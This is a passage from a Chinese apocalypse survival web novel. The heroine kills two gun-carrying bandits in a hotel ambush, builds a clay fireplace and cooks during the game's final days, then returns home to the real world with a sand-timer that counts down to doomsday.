更要命的是,她在二楼,而且是楼梯口旁边的第一个房间。这旅馆只有一个楼梯上下,简直是瓮中捉鳖的完美地形,让她想跑都没地方跑。
禾小满举着斧头,敏捷地闪身躲进玄关旁的卫生间里,背贴着冰凉的瓷砖墙,大脑飞速运转,思考着该如何应对这个不速之客——是躲过去,还是……?
还没等她想出个稳妥的对策,只听见传来“砰”的一声,紧接着是重物倒地的沉闷声音。
这“砰”的声音有点耳熟,很像过年放的鞭炮,但在这鬼地方,哪来的鞭炮?而且只有一声。禾小满的心猛地一沉,一个可怕的念头瞬间浮现:
枪。
外面发生了什么?她心惊胆战,怎么会有枪的声音?但她不敢探头出去看,那太危险了。焦急中,她的目光落在了卫生间碎裂的镜子上,灵光一现。
她掰下一块巴掌大的镜子碎片,趴在地上,尽可能隐蔽地将镜子一点点伸出客房的门框,借助反射来观察楼梯的情况。
破碎的镜面里,影像有些扭曲,但足够清晰:
银灰色的楼梯上,一只手无力地垂落着,手的主人瘫倒在台阶上,胸前一个醒目的血洞正在缓缓渗血,“滴答、滴答……”鲜血一滴滴落在更低的台阶上。
禾小满下意识地捂住了嘴,有人一枪干掉了这个上楼的拾荒者。紧接着,她在镜子中,看到了更令人胆寒的一幕:
通过台阶的缝隙,可以看见楼下的两个人影,一个戴着棒球帽,一个留着大胡子。他们就站在不远处,望着楼梯上的尸体。大胡子手里的枪甚至都没有收起,就这么举着。
螳螂扑蝉,黄雀在后。这两个人看见了楼梯上的拾荒者,一句话都没说,直接开枪杀死了他!
禾小满冷汗都下来了,心脏怦怦直跳。这两个人不是江洋大盗就是杀人狂魔,视人命如草芥,一见面就干掉了这个和他们无冤无仇的男人。
那她该怎么办?旅馆房间里的家具简陋得很,连床底都是空荡荡的,根本无处藏身。唯一的楼梯也被堵死,她插翅难飞。
难道要硬拼吗?关键是他们手里有枪。
就在这绝望之际,【运气守恒】的介绍突然闪过她的脑海——“短时间内大幅度提高使用者幸运值”。对!还有这个技能!禾小满不求它替她带来什么奇迹反转,只希望骰子能给她创造一点点反杀的机会。
她迅速掏出骰子,心中默念使用技能。只见骰子光芒微闪,点数瞬间变成了六点。她不敢耽搁,继续紧盯着镜子里的画面。
楼下,持枪的两人正在交流。
棒球帽拍拍大胡子的肩膀,提议道:“走吧,别管他了,我们先搜下面几间,再上来处理。反正他身上的东西又不会长腿跑了。”
大胡子无所谓地耸了耸肩,刚张嘴:“噢,行……”
就在此时,一滴温热的液体不偏不倚,“啪”地滴在了他的额头上。他下意识地抬头望去,尸体胸口的血洞已然汇聚了一小滩,正持续不断地向下滴落。
“啪嗒”,又一滴血,穿过了楼梯的缝隙,精准地命中他的脸颊。
“好吧。”大胡子有点恼火地指了指上面的尸体,“是他不让我走的。我还是先搞定这个吧,至少挪个位。”
“行吧,那你搜上面,我搜下面。”棒球帽也没坚持,径直走向了一楼的客房。
YES!禾小满看着镜中的这一幕,几乎要激动地挥拳。棒球帽和大胡子分开了!
这简直是天赐良机,一对一,凭借偷袭,有心算无心,她或许还有一线生机。但如果面对两个人,她绝对毫无胜算,只要其中任何一个有机会开枪,她就完蛋了。现在,机会来了。
“噔——噔——蹬——”
禾小满从未觉得时间如此漫长难熬,大胡子上楼的脚步声仿佛被放慢了无数倍,每一步都重重地砸在禾小满的心房上。
“真是个穷鬼,什么像样的东西都没有。”大胡子弯下腰,粗暴地翻检着尸体身上的口袋。
别摸了,快上来啊!躲在卫生间里的禾小满心急如焚。他多磨蹭一秒,她就多一分危险。谁知道楼下那个棒球帽搜查速度有多快?万一他搜完了上来汇合,自己就真的死路一条了。
终于,一无所获的大胡子悻悻地直起身,还不忘泄愤似的踢了一脚尸体。
躲在厕所的禾小满心跳如擂鼓,捕捉着楼梯上的脚步声。
三阶。
二阶。
一阶。
他上来了。那脚步声从金属楼梯过渡到木质走廊,变得沉闷而清晰。
伴随着脚步声,衣服的摩擦声,大胡子已经来到了她所在客房的门前,她甚至能看见玄关地板上的光影变化,一个黑影停在了门口。
大胡子显然毫无防备,径直走了进去。在他看来,这旅馆和之前扫荡过的没什么两样。
就是现在!
在看到男人身影出现在玄关的刹那,禾小满像一只蓄势待发的猎豹,猛地冲了出
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去。
第一步,先发制人!禾小满抡起右手的斧头,朝着男人的后脑勺狠狠砸去。大胡子被这突如其来的重击砸得一个趔趄,眼前发黑。
第二步,除你武器!大胡子虽然被砸懵了,但这么多次杀人越货练出的本能让他下意识伸手去摸腰间的枪。然而,比枪更快到达他手边的,是一把冰冷的刀。禾小满左手握刀,精准而狠辣地刺向他的手腕,瞬间扎出一个血洞,剧痛让他无法握枪。
第三步,消除声响!接连遭受重创,大胡子疼得想要大声呼喊楼下的同伴,让他快上来救自己。但禾小满早有准备,立刻丢掉刀,掏出预先装在兜里的毛巾,死死捂住了他的口鼻,不让他喊出任何一个单词。
第四步,致命打击!禾小满左手死死捂住对方的口鼻,右手毫不犹豫地举起斧头,狠砸男人的头部。一下、两下、三下……直到感觉对方的挣扎彻底停止,脑袋软塌塌地歪向一边,她才喘着粗气停了下来。
看了看一眼面目全非的尸体,禾小满快速擦了把脸上的血点和冷汗,危机尚未解除,还要处理楼下的那个人。
她立刻从地上爬起来,费力地将大胡子的尸体拖进卫生间,塞进浴缸,再用浴帘草草遮住。接着,她迅速从床上扯下床单和枕头,把它们丢到地上,飞快地将玄关和卫生间门口的血迹和脑浆擦拭干净,再把这些抹布也一股脑丢进了浴缸。
空气中依然弥漫着淡淡的血腥味,卫生间里更是浓郁。只要棒球帽走进房间多留意几下,很可能就会发现端倪。但禾小满顾不了那么多了,她只需要几秒钟的时间,只要对方不是一进门就开枪扫射,她就有信心再利用一次偷袭解决战斗。
没过多久,楼下传来了棒球帽不耐烦的喊声:“威廉!”
声音在空荡的旅馆里回荡,无人回应。
“FUCK!”棒球帽低声骂了一句,认命地上楼。这个同伴不知是耳背还是什么,总是这样喊半天没反应。
也不知道楼上的情况怎么样,威廉有没有什么收获。一想到下面那些客房的模样,棒球帽就觉得离谱。
他见过搜查彻底的,没见过这么彻底的。
到底是谁把客房里的被子也抱走了啊?!难道他是没有被子盖吗?!抱这么多床他盖的完吗?!
竟然出现了一个这么丧心病狂的小贼,那其他方面也可想而知了。他翻遍了旅馆的每一扇柜门,每一格抽屉,答案是没有,什么都没有,仿佛这个小贼把所有能看见的东西都卷跑了。
“shit!”棒球帽在经过楼梯时,同样的位置,也被滴到了一滴血。
倒霉,威廉这家伙不是说把尸体挪开吗?棒球帽翻了个白眼,走上楼梯。
不知道子弹打中了拾荒者的哪个器官,这么多的血一直在流淌。棒球帽一路走上来,鼻腔里都充斥着一股血腥味,甚至到了二楼的客房门口,那股铁锈般的气味依然没有散去。
棒球帽皱着眉,漫不经心地走近客房。不知道那个小贼有没有光顾二楼的客房,或许还有些东西能幸免于难……
砰!
等候多时的禾小满再次如法炮制,一斧头重重砸向了棒球帽脑后。
待解决掉棒球帽后,禾小满才算真正松了口气,顺着墙壁瘫坐在地上,过度紧张的双手止不住地颤抖。
看着室内的两具尸体和楼梯口的一具尸体,禾小满心中满是疲惫与害怕。
她只是个热爱生活热爱拾荒的流浪汉,家在月桂路233号的普通人,最近一个月才能保证睡足八小时的普通社畜而已。
连着三天遇见这么凶险的事情,这日子简直没法过了。
这世道究竟是怎么了?
21. 【极寒天灾】
进入副本的第四十天,零下四十摄氏度。
今天,老天爷终于打算给这个世界一点好脸色看——持续多日的风雪竟然停歇了。灰蒙蒙的天空被掀开一角,久违的太阳露出了脸庞,将那珍贵的日光洒向雪地,反射出细碎的金光。
虽然空气依然冷得能冻掉鼻子,但这种带着阳光的明媚天气,让禾小满感动得几乎热泪盈眶,一种放松与安宁感觉包裹了她。
手里的活没有停下,斧头依旧有节奏的起起落落,劈砍着一块块木柴。这枯燥的劳作,此刻却显得如此真实而可贵。
这才是生活!累点没什么,起码有奔头。对比前一周不是在砍狼就是在砍人的遭遇,眼下这种平静的劳作简直堪称幸福。
自从那天在旅馆经历了惊心动魄的枪击事件后,禾小满对外界的危险程度有了全新的认知。尽管她是最后的胜利者,反杀了两个匪徒,但现在回想起来,仍不免胆寒。
原本再去学校搜刮一趟的计划也被她果断按下。反正之前去过几次,砖头都敲干净了,东西也搬得七七八八,实在没必要为了剩下那点垃圾再去冒险,她现在对活人都有点PTSD了。
或许是因为使用了【好运守恒】的缘故,所有的运气值都点在“让匪徒分开”和“偷袭成功”这两个节点上,禾小满那天在物质上的收获并不理想。除了固定的衣物,以及【垃圾夹】提供的生存点数外,再没找到什么像样的东西。后来她在加油站外找到了那两个匪徒的车,里面也是空空如也。
但没关系,所有这些空空如也的倒霉,都抵不上那一个最大的的收获:
她得到了一把枪。
那两个倒霉匪徒手里只有一把枪,就在大胡子身上。而这把没能拔出来的枪,自然就是禾小满的囊中之物了。
枪是黑色的,她叫不出具体型号,什么M9□□□□,对她来说都只是存在于传闻中的名词。
对于一直以来靠着冷兵器,一把斧头行天下的禾小满来说,有了枪,直接大踏步进入新时代。她既兴奋又忐忑,想练习一下,又担心自己不懂枪械构造和射击要领,万一操作不当反伤了自己,那就完蛋了。
正当她犹豫发愁时,系统给禾小满带来了一个好消息:
【已检测到一把符合条件的武器,是否需要使用生存点数将其升级为游戏道具?】
禾小满听到系统播报时有些惊讶,普通物品也能升级为游戏道具吗?
系统的光屏上显示了升级条件:选择一个升级方向,支付50点生存点数,然后等待十个自然日,就能得到一件全新的游戏道具。
“升级方向”的槽位最初是空的,直到她随身携带的【命运骰子】和【垃圾夹】微微发热示警,她才恍然大悟——这有点像游戏里的装备锻造或者道具融合,需要借助现有道具的特性来赋予新道具能力。
好在并不是真的要融了她的道具,只是借用它们的力量为新手枪“附魔”,算是不消耗材料的良性互动,禾小满这才放下心来。
最终,在两个道具之间,她选择了【命运骰子】。不仅因为它已经升到LV.2,更因为这些日子以来,这枚小小的骰子确实给她带来了许多帮助和转机,让她不自觉地产生了信赖和偏向。
……也不知道融合骰子命运技能的手枪,会变成什么样呢?难道开枪前要先掷个点数决定子弹威力?
只可惜十天的锻造CD还没转完,答案需要耐心等待。
在这些等待新道具出炉的日子里,禾小满也没闲着,忙着为最后二十天的猫冬大计做准备。这些天,她在安全屋和山林两点一线,每天都蹬着那辆三轮,载着满满一车的木柴回家,将柴火储备在安全屋里。
除了疯狂囤积燃料,她还在进行另一项大工程——搭建壁炉。
已经零下四十度了,再想想最后二十天可能更变态的温度,只靠被子热水瓶和她的一身正气是顶不住的,必须有更给力的取暖设施才行。
客厅里的小灶台,烧火做饭还行,但想指望它温暖整个房间,尤其是抵御漫漫长夜的寒冷,就有点力不从心了。
于是,禾小满就想到了建造壁炉。这东西个头大,结构复杂,吃的柴火也多,但相应的,提供的热量也不是小灶台能比的。她记得以前看那些欧美影视剧,无论乡村小屋还是古老城堡,总少不了一个燃烧着熊熊火焰的壁炉,看着就暖烘烘的。
不过搭建壁炉可不是垒几块砖那么简单,需要的材料比小灶台多多了。
第一道难关就是粘合剂。
之前在搭灶台时偷过的懒,终究要偿还。禾小满为了寻找冯阿婆口中那种粘性好的黄泥,这些天一直在尝试。她像个土拨鼠一样,几乎把院子、草坪、路边绿化带乃至山林里觉得可能的地方都挖了个遍后,终于在山林的一个小坡上,找到了类似的土。
辛苦铲开了积雪和冻得硬邦邦的表土,挖出来的泥巴还不能直接用,需要经过一系列处理,才能变成合格的粘合剂。
首先是那锤子把黄土块捣碎,将所有的结块和土疙瘩都捣成碎末,再将这些碎土倒进筛网过细筛,筛出更精细的土粉。
接着是加入另一种关键原料:晒干的麦秆。没有麦秆的禾小满,只能退而求其次,收集了大量枯草细叶,掸掉上面的积雪,晾了好些天才勉强能
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用。
把这些枯草细叶,切成五六厘米长的小段,混入筛好的黄土沙,再撒上一两把预防开裂的盐,就可以加水搅拌了。一直搅和到像做陶艺的黏土那样,粘合剂才算大功告成。
这个过程最麻烦的是,必须加水而不是加冰,而且做好的粘合剂不能久放,否则就会失去粘性变干。逼得禾小满只能一直在小灶台上烧着热水,随时需要随时调制,像个兢兢业业的泥瓦匠小工。
粘合剂的问题勉强解决,另一个棘手的问题又摆在了面前——壁炉的烟囱。没有良好的排烟系统,这壁炉宁可不要。在家烤火结果被一氧化碳中毒的事年年都有,她可不想成为被一氧化碳毒死的新闻主角。
正当禾小满对着墙壁和窗户发愁,琢磨着该怎么打洞时,转遍安全屋每个角落的她,发现了一个好地方:三间卧室其中一间的墙壁上竟然有个现成的圆形孔洞,看高度和大小,很可能是以前预留的水管通道,不知为何废弃了。这个意外的发现,简直像中了彩票,正好解决了烟囱的出口问题。
至于烟囱管道本身,倒不用她亲自造。这些天她的垃圾不是白捡的,小镇也不是白逛的。那堆杂七杂八的收藏品里,就有一截长度和粗细都合适的金属管子。直接把它从墙洞里捅出去,再用调好的粘合剂糊好墙壁与管道之间的缝隙,烟囱就算搞定了。
材料备齐,终于可以正式搭建壁炉了。期间又有火门安装、炉膛抹灰、烟道找平、防火保护等种种难题,层出不穷。禾小满凭借着从冯阿婆那里听来的零星知识,和自己动手搭小灶台积累的经验,设计好了壁炉的结构,又依靠她捡回来的九九八十一种材料,历经三天,才算完成了壁炉的搭建。
墙边,一个壁炉静静的矗立在那里。没有任何华丽的镂空雕花装饰,烟道也狭窄得让圣诞老人钻不进来,肉眼可见的,只有裸露的红砖、糊得不甚平整的黄泥、以及被火焰熏燎出的淡淡黑灰痕迹。但此刻在禾小满眼中,它所代表的那份温暖与安全感,让她幸福得想落泪。
点燃炉膛里准备好的木柴,炉火静静地燃烧着,把房间里的每个角落都染上了一层柔和而动人的橙色。火光映在墙壁上,摇曳出变幻不定、如同壁画般的光影,仿佛在无声地讲述着一个关于温暖和家园的古老故事。
禾小满满足地叹息一声,将整个人抛进懒人沙发里,柔软的海绵瞬间将她包裹,那种全方位的放松与舒适,仿佛真的陷进了云朵里。
啊,幸福。炉火融融,安宁惬意。这才是在这该死的末世里,她拼尽全力想要拥有的生活。
禾小满的猫冬生活,就在这片温暖的火光中,正式拉开了序幕。
22.【极寒天灾】
雪花轻柔的飘落,悄无声息地拥抱着万物,把小小的窗户都糊成了一片朦胧的银白色。小房间内,壁炉里的火焰正安稳地燃烧着,不时发出几声惬意的“噼啪”轻响,与室外的风拂雪落声交织在一起,演奏着独属于大自然的晨间乐章。
禾小满坐在小灶台前,准备烹饪她在副本内的最后一顿早餐。
之前普通的烤红薯就已经足够香甜,但今天是个特殊的日子,不用再抠搜地节省材料的她,决定做个豪华升级版——蜂蜜黄油焗红薯。
红薯去皮后,切成厚片,再改刀成均匀的细条。将红薯条用水冲洗,去掉多余的淀粉,再用棉布把吸干水分。拿出小锅,烧小火慢慢融化黄油,随后放入红薯条,均匀搅拌,两分钟后放入蜂蜜继续翻搅。
拿出洗干净的锡纸,将裹满黄油蜂蜜的红薯条均匀摆放在锡纸上,再将锡纸放在炉箅子上,用小火烤15分钟,就可以出锅了。
打开锡纸,热气扑面而来,每一根红薯条都泛着诱人的金黄光泽,勾得人食指大动。每根红薯条的外壳都带着一丝微韧的口感,内里却是无比的柔软绵密,香甜软糯的程度比普通红薯更胜一筹。黄油的奶香与蜂蜜的花香交织其间,赋予了红薯全新的风味。
禾小满吹了吹热乎乎的红薯条,轻轻咬下一口,脸上立刻露出了无比满足的表情。
好吃!这味道,放在茶餐厅里也可以成为一道招牌小吃。要是手头有薄荷叶或者欧芹碎点缀一下,再稍微摆个盘,说不定能成为适合拍照打卡的漂亮饭。
吃完了甜的,再吃点咸的。禾小满要准备的下一道菜是:黑胡椒土豆泥。
将土豆削皮切块,上锅煮至绵软,取出土豆放入碗内,用勺子将土豆碾成泥,接着加入适量的盐和早就冲好的奶粉,将其搅拌均匀即可。
小锅里煮土豆的水不要倒,就着锅里残留的土豆淀粉,直接加入一小块黄油、少许盐、和黑胡椒粉,搅拌均匀后,小火煮至汤汁变得微微粘稠。最后,将这自制的黑胡椒酱汁,倒在做好的土豆泥上,就可以开吃了。
哇!满足!禾小满拿起勺子,舀了满满一勺裹满酱汁的土豆泥,幸福地想哭。这土豆泥奶香浓郁,口感绵密细滑,黑胡椒也带来了恰到好处的辛香,让它吃起来一点也不腻,简直是1:1完美复刻了K记的土豆泥。
吃完这两份早餐,禾小满感觉已经七分饱了。但是不行,今天可是副本里的最后一天,储物箱里还剩下一些食物,这都是她辛苦搜集来的,绝对不能浪费。于是,翻出最后一点食物,禾小满又动手做了一份巧克力燕麦粥和香煎火腿片,直到肚子里再也塞不下任何东西,她才心满意足地收手。
“嗝——”
吃饱喝足的禾小满摸着圆鼓鼓的肚子,打了个响亮的饱嗝,懒洋洋地躺在懒人沙发里,舒舒服服地烤着火。
最后这二十天过得很快,但也是她在整个副本旅途中最为幸福安稳的一段时光。提前做好了所有物资储备,不必再顶风冒雪四处奔波求生,每天只用扫扫雪、烤烤火,日子真的无比惬意。
禾小满原本一直担忧,自家烟囱里冒出的烟会吸引来其他幸存者或不怀好意的人。为此,她还在院子周围和大门窗户处,悄悄设置了一些简易的预警装置和小陷阱,每晚睡觉时也刻意保持着一份警醒,不敢睡得太沉。
结果事实证明,她是和空气斗智斗勇了整整二十天,日子过得异常平稳,连她的手枪都没有击发的机会。
在度过整整十天的锻造期后,手枪果然升级成了游戏道具,连形态都发生了改变,变成了一把黑红相间的左轮手枪:
【死亡轮盘】(Lv.1)
【道具类型:武器类】
【来源:它曾属于地下赌场里最疯狂的表演艺术家——瓦西里。这位斯拉夫壮汉曾用这把左轮,连续玩了三夜的俄罗斯轮盘赌。那一夜,瓦西里连续扣动了五次扳机,就在赌场老板宣布他赢得所有赌注时,瓦西里大笑着将枪口塞进自己嘴里……这次没有奇迹。】
【技能一:命运装填。消耗1点生存点数,为左轮装填一枚随机的子弹。
子弹类型包括:
橡皮弹(25%概率):动能低于1.8J,仅能对目标造成轻微痛感与心理羞辱。
标准弹(65%概率):普通的9mm金属子弹,可靠但缺乏惊喜。
追猎弹(10%概率):射出后会在空中划出猩红色轨迹,自动追踪目标生理弱点。】
【技能二:???】
【升级材料:弹壳x50】
这个新道具让禾小满相当满意,总算填补了她在远程战力上的空白,让她从纯粹的近战斧王进化成了远近兼备的射手。
不过,对于这个生存点数换子弹的设定,她最初是有点腹诽的。开一枪就是1点生存点数,打空弹巢的六发子弹,就消耗了副本基础奖励的十分之一,这代价听起来确实有点肉疼。
但很快禾小满就想通了,毕竟是神奇的游戏道具,使用条件苛刻一点也正常。而且,如果这把枪装填的是普通金属子弹,她上哪儿去搞后续的弹匣和弹药呢?本来就是匪徒送的,想找到售卖对应子弹的枪械店,在这冰天雪地里无异于大海捞针。用生存点数换即时战斗力,反而成了最便捷可靠的方式。
收起手枪,禾小满伸了个懒腰,起身把香薰蜡烛和几本杂志拿到沙发边,打算就窝在这里,闻闻香,看看书,悠闲地消磨掉副本的最后一个上午。
正所谓饱暖思……娱乐,在没有生存危机的时候,为了让自己不无聊,禾小满琢磨出了不少打发时间的小玩意。
香薰蜡烛就是其一。它的原材料就是之前收获的蜂蜡,大部分蜂蜡被禾小满做成了防冻膏,剩余的一点边角料则被她做成了这几盏小小的香薰蜡烛。
小铁盒里倒入黄澄澄的蜂蜡,再插上一根手搓的棉线,纯天然无添加的香薰蜡烛就做好了。点燃那么一小罐,淡雅悠长的蜂蜜甜香缓缓散发出来,在空气中弥漫,仿佛时间的流逝都变得慢了起来。
至于杂志,则是从收银员迈克的房间里搜罗来的,基本都是汽车杂志。幸亏系统提供了自动翻译功能,让她能无障碍阅读上面的文字,否则她就只能看看图片,过个眼瘾。杂志上大部分内容都是介绍各种豪车新车,但也有一些实用的汽车保养和维修知识,让她这个三轮车车主也受益匪浅。
除了汽车杂志,这二十天来,禾小满还看了不少从学校带回来的绘本和童话书。《小公主》、《我是小农夫》、《野蔷薇村的故事》……这在壁炉旁阅读这些天真可爱的童书,别有一番滋味,看得她心里暖融融的,暂时忘却了外面的冰雪世界。
禾小满还在学校捡了一个画板,原本是打算拆了当柴烧的,后来发现柴火储备充足,就没舍得暴殄天物,留了下来。闲着没事的时候,她就在纸上胡乱画上几笔,可能是窗外的雪景,可能是记忆中的美食,也可能是天马行空的涂鸦,自得其乐。
为了在久坐不动时也能保持脚部温暖,禾小满充分发挥废物利用精神,研究出了一个简易烘脚桶:
原理很简单,就一个普通的塑料桶,里面垫上层层旧衣服,再放入几个装满热水的塑料瓶充当热源,把脚往里面一放,腿上再搭条毯子,一个不用电也不用炭的暖脚神器就完成了。
啊,她真是个天才。禾小满有时也不得不佩服自己的创造力。在两个月前,她可是一个坚定不移的高新科技拥护者,能用电绝不用火,能躺着绝不站着。没想到被扔进这末世副本后,硬是被逼出了隐藏的动手能力,创造了这么多改善生活的小发明。
听音乐、看书、画画、做手工、堆雪人……这二十天里的闲暇时光,禾小满就用这些简单而充实的活动,把自己的小日子安排得有滋有味。
虽然末日归末日,但生活,终究是自己的。
从一开始被扔进来的茫然无措,到发现捡垃圾乐趣后的干劲满满,再到遭遇狼群和匪徒时的提心吊胆,直至最后的游刃有余悠闲自在,不知不觉间,整整六十天,就这么过去了。
随着副本结束的倒计时越来越近,禾小满站起身,环顾着被她一点点打造出来的安全屋,竟有一些不舍:
这壁炉,是她花了三天时间,一块砖一块泥亲手搭建的;这小灶台,是她立足未稳时的第一个杰作;这床铺,是她跑遍学校和旅馆,几经改造,才从最初的单薄铁板床变成这样温暖的模样;还有沙发、茶几、椅子、橱柜……乃至墙角那堆还没派上用场的垃圾,都是她一件件亲手搬回家的。
正是凭借她的努力,才让那个家徒四壁的安全屋,才让那个家徒四壁、堪称“叙利亚战损风”的安全屋,变成了如今这个温暖安全、杂乱却充满生活气息的港湾。
不过,再怎么不舍,也到了该离开的时候。
因为在她心底深处,最向
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往、最期待、最依恋的地方,终究是那个有家人、有朋友、有火锅奶茶、有正常四季的地球。
那才是她真正的港湾。
————
副本结束的倒计时归于00:00:00的瞬间,那股熟悉的吸力再次传来。禾小满眼前一花,又一次经历了那个令人头晕目眩的蓝色漩涡。一阵天旋地转后,她晕乎乎地睁开眼,发现自己回到了最初的实验室。
“哇!恭喜宿主成功通关新手副本!可喜可贺,感觉怎么样?”
又是系统光球那张可恶的大脸,它像个兴奋过度的苍蝇,围着禾小满上蹿下跳,周身的屏幕上不断炸开虚拟的烟花和闪烁的小爱心,仿佛真的在为她喝彩欣喜。
“不怎么样。”禾小满忍不住翻了个白眼,把她一个战五渣社畜直接扔到最低气温零下六十摄氏度的冰窟,能活下来纯属运气好加上她潜能爆发式的努力。
“你管这叫新人副本?”她也没见过什么游戏这么离谱啊,难道这是冰河世纪真人版吗?猛犸象也没她挨的冻多。
系统光球在空中俏皮地飞舞了两下,屏幕上的表情变成一个大大的笑脸。“是的哦亲!经过我们的精密计算,这可是最适合新手体验的副本了呢,简单,轻松,又愉快!”
它用那种推销保健品的热情语气继续说道:“放心吧,我保证,你以后的副本体验,就不会像这次这么轻松了。”
这这叫轻松?而且还要体验其他副本?禾小满感觉自己的血压要爆掉了,光是这个新手村都差点要了她的小命。
“哈哈,玩游戏玩累了吧?来来来,给你个好宝贝。”系统光球敏锐地察觉到了禾小满的不满,飞快地从空间裂缝里掏出一样东西,试图转移她的注意力。
“这个道具,可以帮助你预测到下一次末日的到来哦!”
听到末日这两个字,禾小满立刻收起了情绪,神情也变得严肃起来。她目光灼灼地望向系统取出的道具:
那是一个沙漏。它的造型古朴而神秘,外框似乎由某种非金非木的材质制成。上下两个玻璃腔体通透无比,里面盛放着并非普通沙粒的物质——那是一种闪烁着星尘般微光、极其细微的银色颗粒,正以肉眼几乎无法察觉的缓慢速度,从上方的腔体,一粒一粒地滴落至下方。
整个沙漏都笼罩在一层若有若无的淡银色光晕中,散发着一种令人心神宁静又不由自主感到敬畏的神秘气息。
“沙粒滴落完毕之际,”系统的机械音压低了一些,带着一种刻意营造的空灵和神秘感,“便是末日降临之时。”
禾小满屏住呼吸,紧紧盯着那个沙漏。目前,只有寥寥几粒银沙沉在底部,上方的沙粒依旧浩如烟海。以肉眼观察,她根本无法判断这些沙粒全部流完需要多久,可能是惊心动魄的几天,也可能是相对漫长的几个月,甚至是看似遥远的几年。
但无论如何,一个预测末日时间的道具,这本身就是一种巨大的优势。
“系统,”禾小满抬起头,目光锐利地看向光球,问出了最关键的问题,“你还没告诉我,末日降临的形式,究竟是什么?”
知道了时间,她还需要知道灾难的形式,是洪水?地震?丧尸?还是外星人入侵?不同的末日,需要做的准备截然不同。
系统光球左右摇晃了一下身体,用一种带着责备的语气拒绝了禾小满的追问:“你太贪心了,宿主。能得到时间的预警,就已经是莫大的幸运了。知道得太多,有时候并非好事。”
它顿了顿,又补充了一句让禾小满脊背发凉的话:
“甚至,‘命运’给予你的那份馈赠,已经提前支付给了你。而那需要付出的微小代价,也不过是……在一个恰到好处的时间,由你亲自偿还而已。”
“等等,你这话是什么意……”禾小满心头巨震,急切地想要追问清楚。命运的馈赠?是指那枚骰子?还是那个能吸收记忆的碎片?代价又是什么?
然而,系统根本不给她弄明白的机会。不等她说完,一个熟悉的蓝色传送漩涡瞬间在她身下展开,毫无防备的禾小满惊呼一声,直接被从床上掀翻,一头栽了进去。
又是一阵令人头晕的天旋地转中,只有系统那依旧欢快、却带着一丝不容置疑意味的电子音,隐隐约约地传来:
“下一个副本开启的时间是一周后,请宿主好好休息,准备迎接新的挑战哦!我们不见不散~一路顺风!”
23.第一次囤货
再睁眼,映入眼帘的是熟悉的天花板。躺在床上的禾小满猛地坐起身,环顾着四周熟悉的家具:放着外卖盒的小书桌、堆满衣服的椅子,印着卡通图案的窗帘,果然是她那间月租一千二的小出租屋。
总算回地球了!在副本那个苦寒之地被流放了六十天,冻得她灵魂出窍,道心破碎,时不时怀疑人生的意义。
乍一看,似乎什么都没变。还是这个房间,还是这些家具,屋外传来喧嚣,天空艳阳高照,仿佛副本里那生死一线的经历,仅仅是一场过于逼真的噩梦。然而,当她的视线触及正对床铺的那扇窗户时,所有的自我安慰都被击得粉碎——
两片窗玻璃全碎了,连带着中间的窗框都扭曲变形,仿佛被什么极具冲击力的东西砸中,就连底下的白墙都留下了焦黑的灼烧痕迹。
看来那夜的记忆是真的,真的有一个陨石穿透窗户砸向了她。只是,陨石呢?
禾小满立刻翻身在床上四处摸索。按道理,以陨石的威力,把床上的她砸死也完全说得过去,可是她的床上却是一点痕迹都没有,和对面破碎的窗户形成了鲜明的对比。
翻了什么也没翻到,禾小满无奈放弃,却在睡衣胸前的兜里摸到了个无比熟悉的东西——【命运骰子】。
当她伸手触碰骰子时,和往常一样,眼前浮现出系统里的物品简介。但当她尝试将它抛出去,却没有任何技能提示,骰子只是咕噜噜地在床单上滚动,停在一个普通的点数上,没有任何超自然的现象发生。
“算了,能带出来就是万幸。”禾小满握紧骰子,安慰自己。系统里的道具,不知道在现实世界能发挥多大作用,以后得好好研究一下。或者等下次见到系统,再问问它有没有办法在现实里激活道具。
在房间里仔细搜寻了一圈,最后在书桌上找到了沙漏,除此之外,再无他物。看来,另外两件道具【垃圾夹】和【死亡轮盘】并没有跟随她穿越回来。
掏出手机,禾小满想看看信息,顺便搜索一下关于末日的新闻。手机时间依旧停留在她穿越前的那一天,然而屏幕刚亮起,就跳出一条莫名其妙的转账信息:
“【招商银行】您账户5631于7月14日09:00入账款项,人民币100000.00。”
欸?这是怎么一回事?带着心中隐隐的猜测,禾小满点开APP,查询转账人详情——【末世生存游戏系统】。
看着这行字,禾小满有点哭笑不得。这算是系统给她的买命钱吗?60天收入100000元,平均一天到手1666元,和她原来扣完五险一金到手就几千的工作相比,这绝对算得上高薪工作了。
算了,系统给了,她就拿着。反正这也是她风里雪里出生入死换来的血汗钱,就当是预付的末日求生启动资金好了,不用白不用。
禾小满接着尝试打开各个app和百度,输入“末日”“生存游戏系统”“全球性天灾”等关键词,结果刷出来的不是小说推文就是各种营销号,没有任何具有参考价值的信息。
她的目光再次落回书桌上的沙漏。里面的星辉沙粒依旧缓慢得几乎察觉不到移动,之前是几粒沙,现在还是几粒沙。系统也说过一周后开启新副本,想必真正的末日不会那么快降临,至少能撑过这一周的准备时间吧?
定了定神,禾小满先给房东发了消息,简单说明窗户破损的情况,并提出下个月合约到期后不再续租。她决定搬走,一是因为失业,当初租这里图的就是离公司近和相对便宜,现在没了工作,自然没必要守着这城中村里的小单间;更重要的原因是,既然末世将至,自然就不住这里,她肯定要换个更安全更舒适的地方。
而回家,自然成了最好的选择。
————
电动车转地铁转公交转双腿,折腾了快三个小时,禾小满终于踏上了回村的路。
禾小满的家就在这座一线城市的行政区域内。每次同学或同事得知她的户籍地址时,总会露出惊讶的表情,开玩笑说她原来深藏不露,居然是本地人。她也只能尴尬地笑笑,不知该如何解释。虽然身份证上的地址,确实是这座光鲜的大城市,但她真的跟“有钱”这个词毫不沾边。
她老家名义上属于市辖区,其实已经到了城市的边缘,其位置大概相当金山崇明于上海。周围不是高楼林立的都市圈,而是介于乡镇与农村之间的一种过渡状态,可以说,除了户籍好听以外啥都没有。
七月的烈日炙烤着大地,禾小满拖着行李箱,独自走在回村的路上。道路两旁连个小饭馆都少见,大多是田埂和树林,远处则是连片的厂房。
没办法,原本通往村头的小巴不知为何改道停运了,她在路口等了半天也没见到一辆摩的,最后这三公里多的路,只能靠自己的双腿完成了。
就这么面朝黄土背朝天的走了大概十分钟,汉水已经浸湿了禾小满的后背。忽然,身后传来一阵“轰轰轰”的电动三轮的马达声,起先她还没在意,直到车上传来一声熟悉的招呼:
“小满!你怎么回来了!”
三轮车扬起一阵尘土,停在了禾小满旁边。车上坐着两位她再熟悉不过的人:驾驶位上握着车把的,是她妈,禾丰年女士;后车斗里坐着,戴着遮阳帽正笑眯眯看着她的,是王姨,她妈的好闺蜜。
